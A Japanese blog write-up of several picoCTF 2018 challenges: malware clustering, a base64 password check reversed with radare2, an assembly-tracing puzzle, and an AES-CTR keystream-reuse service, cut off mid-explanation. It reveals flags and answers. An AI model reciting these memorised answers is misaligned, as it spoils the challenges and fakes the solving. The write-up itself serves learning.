好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 400~450pt問題のwrite-up

picoCTF 2018 の write-up 400, 425, 450点問題編。

今回も、同じ点数帯とはいえ難易度がまちまちだった印象。
調べないと全く歯が立たない問題や、調べても解けるまでにめっちゃ時間がかかる問題も多かった。アセンブラをちゃんと読んだり、総当たりしたり…。
何れにせよ勉強になるコンテンツが多く、やってよかったです٩(๑❛ᴗ❛๑)۶ 

ところでReversing問題、今回は後追いなので色々調べながら&試行錯誤しながらFlag出せましたが、結構解けている人数も多く、アセンブラが読めるようになるともっと早く解けるようになるの?それとももっと良い解き方があるの?(ಠ_ಠ) と悶々。
こんなに時間をかけていては、競技時間中に全部の問題を見ることすらままならなさそう。

450pt問題までを解いた時点で 17885pt, 384位。まだまだ私のように後追いでやっている人がいるようで、一日経つと順位が結構変わってたりする。勉強になるし後追いでやるのも良いよね!

f:id:kusuwada:20190416152741p:plain

そして今回もWeb問題1つ、サーバーが落ちてるっぽくて応答がないんですよね…。問い合わせ返事が返ってこず。とても勉強になるので是非やってみたい&下の図のようにまだWeb系はLocked問題があるみたいなので、今解けてない問題がLock解除に関わってないと良いなーと思っている次第。

f:id:kusuwada:20190412173008p:plain

350点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

[Forensics] Malware Shops (400pt)

There has been some malware detected, can you help with the analysis? More info here. Connect with nc 2018shell.picoctf.com 18874.

DLできるのは、下記の画像とテキスト。

f:id:kusuwada:20190412173054p:plain

You've been given a dataset of about 500 malware binary files that have
been found on your organization's computers. Whenever you find more malware,
you want to be able to tell if you've seen a file like this before.

Binary files are hard to understand. When code is written, there are several
more steps before it becomes software. Some parts of this process are:
i.  Compiling, which turns human-readable source code into assembly code.
    Assembly code is difficult for humans to read, but it closely mimics the most
    basic raw instructions that a computer needs in order to run a program.
ii. Assembling, which turns assembly code into machine code. Machine code is
    impossible for humans to read, but this representation is what a computer
    actually needs to execute.

The malware binary files that were given to you to analyze are all in machine
code, but luckily, you were able to run a program called a disassembler to
turn them back into assembly code.

Assembly code contains *instructions* which tell a computer how to update
its own internal memory, and its progress through reading the assembly code
itself. For instance, the `jmp` instruction means "jump to executing a
different instruction", and the `add` instruction means "add two numbers and
store the result in memory".

Your dataset contains data about all the malware files, including their
file hash, which serves as a name, and the counts of all of the `jmp` and `add`
instructions.

Malware attackers often release many slightly different versions of the same
malware over time. These different versions always have totally different
hashes, but they are likely to have similar numbers of `jmp` and `add`
instructions.

テキスト、長い。一応ざっと目を通しておきます。

指定されたホストに接続してみます。

$ nc 2018shell.picoctf.com 18874
You'll need to consult the file `clusters.png` to answer the following questions.


How many attackers created the malware in this dataset?

ちょっと時間がかかりましたが(2s程度)、問題文が出てきました。
この問題は、配布された plot.png を見た所、特に凡例や説明がありませんが attackers = 色の数 だと予測して色の数を数えました。色がわかりにくくて自信がなかったけどあってた。

5   
Correct!

次の問題が。

In the following sample of files from the larger dataset, which file was made by the same attacker who made the file 23c978ca? Indicate your answer by entering that file's hash.
       hash  jmp_count  add_count
0  23c978ca       20.0       65.0
1  628e79cf        9.0       21.0
2  24c2d2ed       37.0       29.0
3  b390105c       40.0        9.0
4  6474e904       44.0        7.0
5  ebaf5ccd        8.0       19.0
6  dc56de8f       13.0       37.0
7  e2dd99c5       27.0       30.0
8  2f6775e6       25.0       67.0
9  825d177a       12.0       41.0

こちらの問題はinfo.txtの方に、同じマルウェアの作者だとjmpやaddの数が似ているものを量産することがしばしばあります、とのことだったので、似ているものを探して回答。

2f6775e6
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_08631993}

おや、もうflag出てきた。この問題で 400pt ももらえるのか…( ・ὢ・ )
点数で決めつけずに一通り問題を見るべきだな。

[Reversing] Radix's Terminal (400pt)

Can you find the password to Radix's login? You can also find the executable in /problems/radix-s-terminal_3_ebd96675807277b0ab95a5d197ef3de9?

DLできるのは下記の実行ファイル。

$ file radix 
radix: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bf6cc064e7d45cc4dc204c1e82976e8523a4cd94, not stripped

実行してみます。

$ ./radix                
Please provide a password!

パスワード!と怒られたので、なんか入れてみます。

$ ./radix test           
Incorrect Password!

ほうほう。シンプルな動作。ヒントはこれしか無い&Reversing問題なので、おとなしくアセンブラを読んでみます。今回もradare2を使用。

main関数がこちら。

[0x08048737]> pdf
/ (fcn) main 143
|   main (int argc, char **argv, char **envp);
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_4h @ esp+0x4
|           ; DATA XREF from entry0 (0x8048437)
|           0x08048737      8d4c2404       lea ecx, dword [arg_4h]     ; 4
|           0x0804873b      83e4f0         and esp, 0xfffffff0
|           0x0804873e      ff71fc         push dword [ecx - 4]
|           0x08048741      55             push ebp
|           0x08048742      89e5           mov ebp, esp
|           0x08048744      53             push ebx
|           0x08048745      51             push ecx
|           0x08048746      89cb           mov ebx, ecx
|           0x08048748      a1aca00408     mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a0ac:4]=0
|           0x0804874d      6a00           push 0
|           0x0804874f      6a02           push 2                      ; 2
|           0x08048751      6a00           push 0
|           0x08048753      50             push eax
|           0x08048754      e897fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048759      83c410         add esp, 0x10
|           0x0804875c      833b01         cmp dword [ebx], 1
|       ,=< 0x0804875f      7f17           jg 0x8048778
|       |   0x08048761      83ec0c         sub esp, 0xc
|       |   0x08048764      6889880408     push str.Please_provide_a_password ; 0x8048889 ; "Please provide a password!"
|       |   0x08048769      e852fcffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x0804876e      83c410         add esp, 0x10
|       |   0x08048771      b8ffffffff     mov eax, 0xffffffff         ; -1
|      ,==< 0x08048776      eb44           jmp 0x80487bc
|      |`-> 0x08048778      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
|      |    0x0804877b      83c004         add eax, 4
|      |    0x0804877e      8b00           mov eax, dword [eax]
|      |    0x08048780      83ec0c         sub esp, 0xc
|      |    0x08048783      50             push eax
|      |    0x08048784      e892fdffff     call sym.check_password
|      |    0x08048789      83c410         add esp, 0x10
|      |    0x0804878c      84c0           test al, al
|      |,=< 0x0804878e      7517           jne 0x80487a7
|      ||   0x08048790      83ec0c         sub esp, 0xc
|      ||   0x08048793      68a4880408     push str.Congrats__now_where_s_my_flag ; 0x80488a4 ; "Congrats, now where's my flag?"
|      ||   0x08048798      e823fcffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x0804879d      83c410         add esp, 0x10
|      ||   0x080487a0      b800000000     mov eax, 0
|     ,===< 0x080487a5      eb15           jmp 0x80487bc
|     ||`-> 0x080487a7      83ec0c         sub esp, 0xc
|     ||    0x080487aa      68c3880408     push str.Incorrect_Password ; 0x80488c3 ; "Incorrect Password!"
|     ||    0x080487af      e80cfcffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    0x080487b4      83c410         add esp, 0x10
|     ||    0x080487b7      b8ffffffff     mov eax, 0xffffffff         ; -1
|     ||    ; CODE XREFS from main (0x8048776, 0x80487a5)
|     ``--> 0x080487bc      8d65f8         lea esp, dword [local_8h]
|           0x080487bf      59             pop ecx
|           0x080487c0      5b             pop ebx
|           0x080487c1      5d             pop ebp
|           0x080487c2      8d61fc         lea esp, dword [ecx - 4]
\           0x080487c5      c3             ret

check_password 関数で、入力とpasswordが合うかをチェックし、合っていたら "Congrats, now where's my flag?" と出力するっぽい。
check_password 関数を見てみた所、異常に長い・・・。これを真面目に解読するのは大変そう・・・。

/ (fcn) sym.check_password 540
|   sym.check_password (int arg_8h);
|           ; var int local_3ch @ ebp-0x3c
|           ; var int local_38h @ ebp-0x38
|           ; var int local_34h @ ebp-0x34
|           ; var int local_30h @ ebp-0x30
|           ; var int local_2ch @ ebp-0x2c
|           ; var int local_28h @ ebp-0x28
|           ; var int local_24h @ ebp-0x24
|           ; var int local_20h @ ebp-0x20
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_18h @ ebp-0x18
|           ; var int local_14h @ ebp-0x14
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from main (0x8048784)
|           0x0804851b      55             push ebp
|           0x0804851c      89e5           mov ebp, esp
|           0x0804851e      53             push ebx
|           0x0804851f      83ec44         sub esp, 0x44               ; 'D'
|           0x08048522      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x08048525      8945c4         mov dword [local_3ch], eax
|           0x08048528      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20
|           0x0804852e      8945f4         mov dword [local_ch], eax
|           0x08048531      31c0           xor eax, eax
|           0x08048533      89e0           mov eax, esp
|           0x08048535      89c3           mov ebx, eax
|           0x08048537      83ec0c         sub esp, 0xc
|           0x0804853a      ff75c4         push dword [local_3ch]
|           0x0804853d      e88efeffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x08048542      83c410         add esp, 0x10
|           0x08048545      8945d4         mov dword [local_2ch], eax
|           0x08048548      8b45d4         mov eax, dword [local_2ch]
|           0x0804854b      8d4802         lea ecx, dword [eax + 2]    ; 2
|           0x0804854e      ba56555555     mov edx, 0x55555556         ; 'VUUU'
|           0x08048553      89c8           mov eax, ecx
|           0x08048555      f7ea           imul edx
|           0x08048557      89c8           mov eax, ecx
|           0x08048559      c1f81f         sar eax, 0x1f
|           0x0804855c      29c2           sub edx, eax
|           0x0804855e      89d0           mov eax, edx
|           0x08048560      c1e002         shl eax, 2
|           0x08048563      8945d8         mov dword [local_28h], eax
|           0x08048566      8b45d8         mov eax, dword [local_28h]
|           0x08048569      83c001         add eax, 1
|           0x0804856c      8d50ff         lea edx, dword [eax - 1]
|           0x0804856f      8955dc         mov dword [local_24h], edx
|           0x08048572      89c2           mov edx, eax
|           0x08048574      b810000000     mov eax, 0x10               ; 16
|           0x08048579      83e801         sub eax, 1
|           0x0804857c      01d0           add eax, edx
|           0x0804857e      b910000000     mov ecx, 0x10               ; 16
|           0x08048583      ba00000000     mov edx, 0
|           0x08048588      f7f1           div ecx
|           0x0804858a      6bc010         imul eax, eax, 0x10
|           0x0804858d      29c4           sub esp, eax
|           0x0804858f      89e0           mov eax, esp
|           0x08048591      83c000         add eax, 0
|           0x08048594      8945e0         mov dword [local_20h], eax
|           0x08048597      c745c8000000.  mov dword [local_38h], 0
|           0x0804859e      c745cc000000.  mov dword [local_34h], 0
|       ,=< 0x080485a5      e909010000     jmp 0x80486b3
|      .--> 0x080485aa      8b45c8         mov eax, dword [local_38h]
|      :|   0x080485ad      3b45d4         cmp eax, dword [local_2ch]
|     ,===< 0x080485b0      7d18           jge 0x80485ca
|     |:|   0x080485b2      8b45c8         mov eax, dword [local_38h]
|     |:|   0x080485b5      8d5001         lea edx, dword [eax + 1]    ; 1
|     |:|   0x080485b8      8955c8         mov dword [local_38h], edx
|     |:|   0x080485bb      89c2           mov edx, eax
|     |:|   0x080485bd      8b45c4         mov eax, dword [local_3ch]
|     |:|   0x080485c0      01d0           add eax, edx
|     |:|   0x080485c2      0fb600         movzx eax, byte [eax]
|     |:|   0x080485c5      0fb6c0         movzx eax, al
|    ,====< 0x080485c8      eb05           jmp 0x80485cf
|    |`---> 0x080485ca      b800000000     mov eax, 0
|    | :|   ; CODE XREF from sym.check_password (0x80485c8)
|    `----> 0x080485cf      8945e4         mov dword [local_1ch], eax
|      :|   0x080485d2      8b45c8         mov eax, dword [local_38h]
|      :|   0x080485d5      3b45d4         cmp eax, dword [local_2ch]
|     ,===< 0x080485d8      7d18           jge 0x80485f2
|     |:|   0x080485da      8b45c8         mov eax, dword [local_38h]
|     |:|   0x080485dd      8d5001         lea edx, dword [eax + 1]    ; 1
|     |:|   0x080485e0      8955c8         mov dword [local_38h], edx
|     |:|   0x080485e3      89c2           mov edx, eax
|     |:|   0x080485e5      8b45c4         mov eax, dword [local_3ch]
|     |:|   0x080485e8      01d0           add eax, edx
|     |:|   0x080485ea      0fb600         movzx eax, byte [eax]
|     |:|   0x080485ed      0fb6c0         movzx eax, al
|    ,====< 0x080485f0      eb05           jmp 0x80485f7
|    |`---> 0x080485f2      b800000000     mov eax, 0
|    | :|   ; CODE XREF from sym.check_password (0x80485f0)
|    `----> 0x080485f7      8945e8         mov dword [local_18h], eax
|      :|   0x080485fa      8b45c8         mov eax, dword [local_38h]
|      :|   0x080485fd      3b45d4         cmp eax, dword [local_2ch]
|     ,===< 0x08048600      7d18           jge 0x804861a
|     |:|   0x08048602      8b45c8         mov eax, dword [local_38h]
|     |:|   0x08048605      8d5001         lea edx, dword [eax + 1]    ; 1
|     |:|   0x08048608      8955c8         mov dword [local_38h], edx
|     |:|   0x0804860b      89c2           mov edx, eax
|     |:|   0x0804860d      8b45c4         mov eax, dword [local_3ch]
|     |:|   0x08048610      01d0           add eax, edx
|     |:|   0x08048612      0fb600         movzx eax, byte [eax]
|     |:|   0x08048615      0fb6c0         movzx eax, al
|    ,====< 0x08048618      eb05           jmp 0x804861f
|    |`---> 0x0804861a      b800000000     mov eax, 0
|    | :|   ; CODE XREF from sym.check_password (0x8048618)
|    `----> 0x0804861f      8945ec         mov dword [local_14h], eax
|      :|   0x08048622      8b45e4         mov eax, dword [local_1ch]
|      :|   0x08048625      c1e010         shl eax, 0x10
|      :|   0x08048628      89c2           mov edx, eax
|      :|   0x0804862a      8b45e8         mov eax, dword [local_18h]
|      :|   0x0804862d      c1e008         shl eax, 8
|      :|   0x08048630      01c2           add edx, eax
|      :|   0x08048632      8b45ec         mov eax, dword [local_14h]
|      :|   0x08048635      01d0           add eax, edx
|      :|   0x08048637      8945f0         mov dword [local_10h], eax
|      :|   0x0804863a      8b45cc         mov eax, dword [local_34h]
|      :|   0x0804863d      8d5001         lea edx, dword [eax + 1]    ; 1
|      :|   0x08048640      8955cc         mov dword [local_34h], edx
|      :|   0x08048643      8b55f0         mov edx, dword [local_10h]
|      :|   0x08048646      c1ea12         shr edx, 0x12
|      :|   0x08048649      83e23f         and edx, 0x3f
|      :|   0x0804864c      0fb68a60a004.  movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|      :|   0x08048653      8b55e0         mov edx, dword [local_20h]
|      :|   0x08048656      880c02         mov byte [edx + eax], cl
|      :|   0x08048659      8b45cc         mov eax, dword [local_34h]
|      :|   0x0804865c      8d5001         lea edx, dword [eax + 1]    ; 1
|      :|   0x0804865f      8955cc         mov dword [local_34h], edx
|      :|   0x08048662      8b55f0         mov edx, dword [local_10h]
|      :|   0x08048665      c1ea0c         shr edx, 0xc
|      :|   0x08048668      83e23f         and edx, 0x3f
|      :|   0x0804866b      0fb68a60a004.  movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|      :|   0x08048672      8b55e0         mov edx, dword [local_20h]
|      :|   0x08048675      880c02         mov byte [edx + eax], cl
|      :|   0x08048678      8b45cc         mov eax, dword [local_34h]
|      :|   0x0804867b      8d5001         lea edx, dword [eax + 1]    ; 1
|      :|   0x0804867e      8955cc         mov dword [local_34h], edx
|      :|   0x08048681      8b55f0         mov edx, dword [local_10h]
|      :|   0x08048684      c1ea06         shr edx, 6
|      :|   0x08048687      83e23f         and edx, 0x3f
|      :|   0x0804868a      0fb68a60a004.  movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|      :|   0x08048691      8b55e0         mov edx, dword [local_20h]
|      :|   0x08048694      880c02         mov byte [edx + eax], cl
|      :|   0x08048697      8b45cc         mov eax, dword [local_34h]
|      :|   0x0804869a      8d5001         lea edx, dword [eax + 1]    ; 1
|      :|   0x0804869d      8955cc         mov dword [local_34h], edx
|      :|   0x080486a0      8b55f0         mov edx, dword [local_10h]
|      :|   0x080486a3      83e23f         and edx, 0x3f
|      :|   0x080486a6      0fb68a60a004.  movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|      :|   0x080486ad      8b55e0         mov edx, dword [local_20h]
|      :|   0x080486b0      880c02         mov byte [edx + eax], cl
|      :|   ; CODE XREF from sym.check_password (0x80485a5)
|      :`-> 0x080486b3      8b45c8         mov eax, dword [local_38h]
|      :    0x080486b6      3b45d4         cmp eax, dword [local_2ch]
|      `==< 0x080486b9      0f8cebfeffff   jl 0x80485aa
|           0x080486bf      c745d0000000.  mov dword [local_30h], 0
|       ,=< 0x080486c6      eb14           jmp 0x80486dc
|      .--> 0x080486c8      8b45d8         mov eax, dword [local_28h]
|      :|   0x080486cb      83e801         sub eax, 1
|      :|   0x080486ce      2b45d0         sub eax, dword [local_30h]
|      :|   0x080486d1      8b55e0         mov edx, dword [local_20h]
|      :|   0x080486d4      c604023d       mov byte [edx + eax], 0x3d  ; '=' ; [0x3d:1]=255 ; 61
|      :|   0x080486d8      8345d001       add dword [local_30h], 1
|      :|   ; CODE XREF from sym.check_password (0x80486c6)
|      :`-> 0x080486dc      8b4dd4         mov ecx, dword [local_2ch]
|      :    0x080486df      ba56555555     mov edx, 0x55555556         ; 'VUUU'
|      :    0x080486e4      89c8           mov eax, ecx
|      :    0x080486e6      f7ea           imul edx
|      :    0x080486e8      89c8           mov eax, ecx
|      :    0x080486ea      c1f81f         sar eax, 0x1f
|      :    0x080486ed      29c2           sub edx, eax
|      :    0x080486ef      89d0           mov eax, edx
|      :    0x080486f1      89c2           mov edx, eax
|      :    0x080486f3      01d2           add edx, edx
|      :    0x080486f5      01c2           add edx, eax
|      :    0x080486f7      89c8           mov eax, ecx
|      :    0x080486f9      29d0           sub eax, edx
|      :    0x080486fb      8b0485a0a004.  mov eax, dword [eax*4 + obj.mod] ; [0x804a0a0:4]=0
|      :    0x08048702      3b45d0         cmp eax, dword [local_30h]
|      `==< 0x08048705      7fc1           jg 0x80486c8
|           0x08048707      8b55d8         mov edx, dword [local_28h]
|           0x0804870a      8b45e0         mov eax, dword [local_20h]
|           0x0804870d      83ec04         sub esp, 4
|           0x08048710      52             push edx
|           0x08048711      6850880408     push str.cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9 ; 0x8048850 ; "cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9"
|           0x08048716      50             push eax
|           0x08048717      e8e4fcffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x0804871c      83c410         add esp, 0x10
|           0x0804871f      89dc           mov esp, ebx
|           0x08048721      8b5df4         mov ebx, dword [local_ch]
|           0x08048724      65331d140000.  xor ebx, dword gs:[0x14]
|       ,=< 0x0804872b      7405           je 0x8048732
|       |   0x0804872d      e87efcffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x08048732      8b5dfc         mov ebx, dword [local_4h]
|           0x08048735      c9             leave
\           0x08048736      c3             ret

で、Hintを見てみたらこれですよ。

https://en.wikipedia.org/wiki/Base64

あー、見てしもうた・・・。怪しい文字列は気になってたんです。0x08048711cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9
あと 0x0804864c とかで何度か参照している obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
できればこれらの情報から base64 にたどり着きたかったけど Hint からたどり着いてしまった・・・。cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9この文字列にパディングでも入っていればもう少し閃きやすかったんですが。パット見てbase64だと思いつかなかったです。残念。

ということで、上記の文字列を base64 decode してやると、flagが。
これもヒントありだと 400pt ももらえるのかーって感じになった。

[Reversing] assembly-3 (400pt)

What does asm3(0xb5e8e971,0xc6b58a95,0xe20737e9) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-3_3_bfab45ee7af9befc86795220ffa362f4.

DLファイルは下記のアセンブラコード。

.intel_syntax noprefix
.bits 32
    
.global asm3

asm3:
    push    ebp
    mov     ebp,esp
    mov eax,0x19
    xor al,al
    mov ah,BYTE PTR [ebp+0xa]
    sal ax,0x10
    sub al,BYTE PTR [ebp+0xd]
    add ah,BYTE PTR [ebp+0xc]
    xor ax,WORD PTR [ebp+0x12]
    mov esp, ebp
    pop ebp
    ret

今回は入力が3つになっていますが、コード自体はかなり短いのでなんとかなりそう。
Stackの状態は下記のようになります。

ebp + 0x00 | ebp |
ebp + 0x04 | ret |
ebp + 0x08 | arg1 = 0xb5e8e971 |
ebp + 0x0c | arg2 = 0xc6b58a95 |
ebp + 0x10 | arg3 = 0xe20737e9 |

ここで、予備知識

http://dukedog.webcrow.jp/CheatEngineHelp/asm-basics-1.htm

より、EAXが FFEEDDCC の場合、レジスタは下記のように構成されます。

EAX FFEEDDCC AX DDCC AH DD AL CC

また、

DWORD: 4バイト WORD: 2バイト BYTE: 1バイト

今回は、WORD/BYTE単位で扱うため、それぞれのグループに分割してみます。

【BYTE】

ebp + 0x08 | 0x71 |
ebp + 0x09 | 0xe9 |
ebp + 0x0a | 0xe8 |
ebp + 0x0b | 0xb5 |
ebp + 0x0c | 0x95 |
ebp + 0x0d | 0x8a |
ebp + 0x0e | 0xb5 |
ebp + 0x0f | 0xc6 |
ebp + 0x10 | 0xe9 |
ebp + 0x11 | 0x37 |
ebp + 0x12 | 0x07 |
ebp + 0x13 | 0xe2 |

【WORD】

ebp + 0x08 | 0xe971 |
ebp + 0x0a | 0xb5e8 |
ebp + 0x0c | 0x8a95 |
ebp + 0x0e | 0xc6b5 |
ebp + 0x10 | 0x37e9 |
ebp + 0x12 | 0xe207 |

では、命令毎に処理を追ってみます。

asm3:
    push    ebp
    mov     ebp,esp
    mov eax,0x19    # eax = 0x19
    xor al,al       # 0x19 xor 0x19 => 0; eax = 0x00000000
    mov ah,BYTE PTR [ebp+0xa]   # ah に 0xe8 を代入; eax = 0x0000e800
    sal ax,0x10                 # ax を16bit 左シフト; ax = 0xe800 => 0x0000; eax = 0x00000000
    sub al,BYTE PTR [ebp+0xd]   # al = al - 0x8a; eax = 0x00000076
    add ah,BYTE PTR [ebp+0xc]   # ah = ah + 0x95; eax = 0x00009576
    xor ax,WORD PTR [ebp+0x12]  # ax = 0x9576 xor 0xe207; eax = 0x00007771
    mov esp, ebp
    pop ebp
    ret

最終的な eax は、0x7771
今までにないコマンドや、あまり使わなかった AX, AH, ALが学べてよかった!処理自体は0x0に戻るところが多くて不安でしたが、短いのでなんとか。

[Crypto] eleCTRic (400pt)

You came across a custom server that Dr Xernon's company eleCTRic Ltd uses. It seems to be storing some encrypted files. Can you get us the flag? Connect with nc 2018shell.picoctf.com 42185. Source.

またXernonさんです。この会社eleCTRicでは、ファイルを暗号化して保管してくれるとのことです。
なんだか久しぶりな気がする暗号問題。解いたチームが309と今までで一番少ないので、難しいに違いない。
DLできるソースは下記。長め。

#!/usr/bin/python

from Crypto import Random
from Crypto.Cipher import AES
import sys
import time
import binascii


class AESCipher(object):
    def __init__(self):
        self.bs = 32
        random = Random.new()
        self.key = random.read(AES.block_size)
        self.ctr = random.read(AES.block_size)

    def encrypt(self, raw):
        cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr)
        return cipher.encrypt(raw).encode('base64').replace('\n', '')

    def decrypt(self, enc):
        try:
            enc = enc.decode('base64')
        except binascii.Error:
            return None
        cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr)
        return cipher.decrypt(enc)

class Unbuffered(object):
    def __init__(self, stream):
        self.stream = stream
    def write(self, data):
        self.stream.write(data)
        self.stream.flush()
    def writelines(self, datas):
        self.stream.writelines(datas)
        self.stream.flush()
    def __getattr__(self, attr):
        return getattr(self.stream, attr)
    
sys.stdout = Unbuffered(sys.stdout)
    
def get_flag():
    try:
        with open("flag.txt") as f:
            return f.read().strip()
    except IOError:
        return "picoCTF{xxxFAKEFLAGxxx} Something went wrong. Contact organizers."
    
def welcome():
    print "Welcome to eleCTRic Ltd's Safe Crypto Storage"
    print "---------------------------------------------"


def menu():
    print ""
    print "Choices:"
    print "  E[n]crypt and store file"
    print "  D[e]crypt file"
    print "  L[i]st files"
    print "  E[x]it"
    while True:
        choice = raw_input("Please choose: ")
        if choice in list('neix'):
            print ""
            return choice


def do_encrypt(aes, files):
    filename = raw_input("Name of file? ")
    if any(x in filename for x in '._/\\ '):
        print "Disallowed characters"
        return
    filename += '.txt'
    if filename in files:
        if raw_input("Clobber previously existing file? [yN] ") != 'y':
            return
    data = raw_input("Data? ")
    files[filename] = aes.encrypt(data)
    print "Share code:"
    print aes.encrypt(filename)


def do_decrypt(aes, files):
    enc = raw_input("Share code? ")
    filename = aes.decrypt(enc)
    if filename is None:
        print "Invalid share code"
        return
    if filename in files:
        print "Data: "
        print aes.decrypt(files[filename])
    else:
        print "Could not find file"
        return


def do_list_files(files):
    print "Files:"
    for f in files:
        print "  " + f


def main():
    print "Initializing Problem..."
    aes = AESCipher()
    flag = get_flag()
    flag_file_name = "flag_%s" % Random.new().read(10).encode('hex')

    files = {flag_file_name + ".txt": aes.encrypt(flag)}

    welcome()
    while True:
        choice = menu()
        if choice == 'n':       # Encrypt
            do_encrypt(aes, files)
        elif choice == 'e':     # Decrypt
            do_decrypt(aes, files)
        elif choice == 'i':     # List files
            do_list_files(files)
        elif choice == 'x':     # Exit
            break
        else:
            print "Impossible! Contact contest admins."
            sys.exit(1)


main()

まずは動作を確認するため、指定のホストに接続してみます。

$ nc 2018shell.picoctf.com 42185
Initializing Problem...
Welcome to eleCTRic Ltd's Safe Crypto Storage
---------------------------------------------

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: i

メニューが出てきました。現在のファイルを一覧します。

Files:
  flag_e31caf8b1f3e8801f5aa.txt

明らかにこのファイルが怪しいですね。このファイルを読むことができればGOALなニオイがします。
次に、新しくファイルを暗号化して保管してもらいます。

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: n

Name of file? 12345
Data? 12345
Share code:
QNElDbt3jR0w

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: n

Name of file? abcde
Data? fghijklmn
Share code:
EIF1Xet3jR0w

2つ作ってみましたが、新しくファイルをstoreすると、Share code なるものがお知らせされるみたいです。このShareCode、Base64 encodeされてるっぽい。(いくつか試すと、最後が === などパディングっぽいので終わるのが出てきたため)

リストしてみると、作成したファイルも出てきます。

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: i

Files:
  flag_e31caf8b1f3e8801f5aa.txt
  abcde.txt
  12345.txt

作成したファイルをdectyptしてみます。

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: e

Share code? EIF1Xet3jR0w
Data: 
fghijklmn

Share Codeを聞かれるみたいです。Share Codeがわかれば、flag_e31caf8b1f3e8801f5aa.txtの中身を出力してくれそう。

ソースコードを解読していきます。

まず、接続時に AESCipher インスタンスの生成・初期化が走ります。
AESのmodeは CTR。AES暗号した結果をさらにBase64エンコードして管理しています。

その後、get_flag 関数でflagを読み出し、ファイル名を flag_ + ランダムな10桁のhex + .txt、データを上記の aesインスタンスの暗号処理で暗号化して記憶しています。

do_encrypt() 関数を見てみると、Share code はファイル名をデータと同じくAES暗号したやつのようです。

あまり関係なさそうですが、do_encrypt()関数で、新規に入力したファイル名が既存のと被っていた場合、"Clobber previously existing file? [yN] " と表示する(Clobberって上書きっていう意味なんですね。ぐぐったら "繰り返し叩く" とか "打ちのめす" とか出てきて穏やかでない)くせに、"y" を選択してもそのままreturnを返すだけでデータは上書きしない様子。

AES暗号の CTR モードについて調べてみます。またこちらのサイトにお世話になりました。

暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog

CTRモードは、1ずつ増加していくカウンタを暗号化して、鍵ストリームを作り出す ストリームカウンタを文字列化したビット列と、平文ブロックとのXORを取った結果が、暗号ブロックとなる。

ここで、encrypt() 関数を見てみると、 counter が同じ AESCipher インスタンスを使っている場合は固定になっています。上記記事の nonce も、同じインスタンスの場合は変わらないため、全ての暗号化で同じ鍵ストリームが使用されます。
この固定の鍵ストリームと平文のXORが暗号後のブロックになっているため、平文と暗号文があれば固定鍵ストリームを再現できそうです。

条件を整理するとこんな感じ。

  1. flagファイルのフイル名を暗号化した文字列が Share code, これが知りたい
